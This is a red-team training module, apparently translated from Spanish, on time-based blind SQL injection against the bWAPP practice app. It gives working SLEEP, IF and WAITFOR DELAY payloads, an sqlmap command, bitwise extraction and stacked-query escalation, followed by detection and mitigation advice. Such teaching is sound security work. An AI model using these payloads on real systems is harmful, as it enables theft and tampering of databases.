📕 FIELD MANUAL 3.2: BLIND SQL INJECTION (TIME-BASED)
Objective: Data exfiltration by measuring deliberate pauses in server response.
Classification: RED TEAM EYES ONLY
Objective: Data exfiltration by measuring deliberate pauses in the server's response.
bWAPP Targets: SQL Injection - Blind - Time-Based.
MITRE ATT&CK: T1190.
1. INTEL & RECON: THE LAST RESORT
Sección titulada «1. INTEL & RECON: EL ÚLTIMO RECURSO»The “Black Hole” Scenario
Sección titulada «El Escenario “Black Hole”»We will imagine a “Newsletter Subscription” function.
- We will send
email=test@test.com. Response: “Thank you”. - We will send
email=test'. Response: “Thank you”. - We will send
email=test' OR 1=1. Response: “Thank you”.
There is no visual difference. No errors. Boolean-Based fails because the HTML response is identical (identical bits).
The Stopwatch Logic
Sección titulada «La Lógica del Cronómetro»If we cannot change what we see, we will change how long we wait. We will inject an instruction that says: "Database, if the first letter of the password is 'A', sleep for 5 seconds. If not, respond now."
- Fast response (200ms): It is not ‘A’.
- Slow response (>5200ms): It is ‘A’!
2. WEAPONIZATION: PAUSING TIME
Sección titulada «2. WEAPONIZATION: PAUSANDO EL TIEMPO»Every database engine has its own “sleeping pill”.
MySQL / MariaDB (SLEEP & BENCHMARK)
Sección titulada «MySQL / MariaDB (SLEEP & BENCHMARK)»In bWAPP (MySQL), we will use SLEEP().
- Vulnerability Test (The Ping):
We will attempt to sleep the server to confirm injection.
-
Payload:
Iron Man' AND SLEEP(5) -- - -
Action: We will look at the “Network” tab of our browser.
-
Result: If the request
GETtakes 5000ms+ to complete (Status Pending…), it is vulnerable.
-
- Data Extraction (Conditional):
We will use
IF(condición, true, false)in MySQL.-
Structure:
IF( (TU_PREGUNTA), SLEEP(5), 0 ) -
Payload to guess the version:
Iron Man' AND IF(substring(version(),1,1)='5', SLEEP(5), 0) -- - -
Analysis: If the version starts with ‘5’, the browser will hang for 5 seconds. If it is ‘4’, it will load instantly.
-
Microsoft SQL Server (WAITFOR DELAY)
Sección titulada «Microsoft SQL Server (WAITFOR DELAY)»MSSQL does not have SLEEP. It uses a special syntax.
-
Payload:
Iron Man'; IF (SELECT user_name()) = 'dbo' WAITFOR DELAY '0:0:5' -- -
Heavy Query (Alternative): If the admin blocked
WAITFOR, we can force a heavy mathematical operation repeated millions of times to cause artificial delay (CPU Exhaustion).
3. AUTOMATION: PATIENCE VS SPEED
Sección titulada «3. AUTOMATION: PACIENCIA VS VELOCIDAD»Time-Based is slow. Very slow. Extracting an entire database can take days. We must optimize.
SQLMap Technique T
Sección titulada «SQLMap Technique T»sqlmap -u "http://bwapp/sqli_15.php?title=Iron&action=search" \ --cookie="PHPSESSID=..." \ --technique=T \ --time-sec=5 \ --dbs-technique=T: Time-Based only.-time-sec=5: We set the wait threshold. (Caution: if the network is slow, SQLMap may produce false positives. We will increase to 10 if there is latency).
Red Team Strategy (Bitwise)
Sección titulada «Estrategia Red Team (Bitwise)»Instead of testing character by character (a, b, c…), we will convert the character to binary (ASCII 97 = 01100001) and query for each bit.
- “Is the first bit 1?” -> Sleep.
- We will only need 8 requests per character, instead of an average of 40-50.
4. ESCALATION: FROM TWO TO THREE (STACKED QUERIES)
Sección titulada «4. ESCALADA: DE DOS A TRES (STACKED QUERIES)»Module 3.3 Preview
In Time-Based, we often cannot use UNION. But if we can use ; (semicolon) to separate instructions, we can do devastating things.
-
Concept:
Iron Man'; WAITFOR DELAY '0:0:5'; INSERT INTO users... --If the delay works, it means we can also execute insertion, deletion, or update commands. The delay is just confirmation that we have arbitrary SQL code execution.
5. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «5. VISIÓN DEL EQUIPO PURPLE (DEFENSA)»🕵️ Detection (Traffic Analysis)
Sección titulada «🕵️ Detección (Análisis de Tráfico)»Time-Based is invisible in content logs, but it is a beacon in performance logs.
- Web Server Logs (Response Time): Apache and IIS can record the response time (
%Tin Apache).- Alert: If we see a pattern of requests to
/search.phpthat take exactly 5.001s, 5.002s, 10.00s… we are under Time-Based attack. No human user generates such exact delays.
- Alert: If we see a pattern of requests to
- Slow Query Log: In the database, we will enable the slow query log. We will see
SLEEP()statements explicitly.
🛡️ Mitigation
Sección titulada «🛡️ Mitigación»- Aggressive Timeout: We will configure the web server to kill any SQL query that takes more than 1-2 seconds (if our application allows it). This breaks the attacker's communication (even though the query executes in the background, the attacker does not receive visual confirmation of the delay if we cut the connection beforehand).
- WAF: We will block
SLEEP,WAITFOR,BENCHMARK. - Prepared Statements: As always, we will nullify the ability to inject commands.
Status: Module 3.2 Completed. Mission: We will make bWAPP take 5 seconds to respond to us.

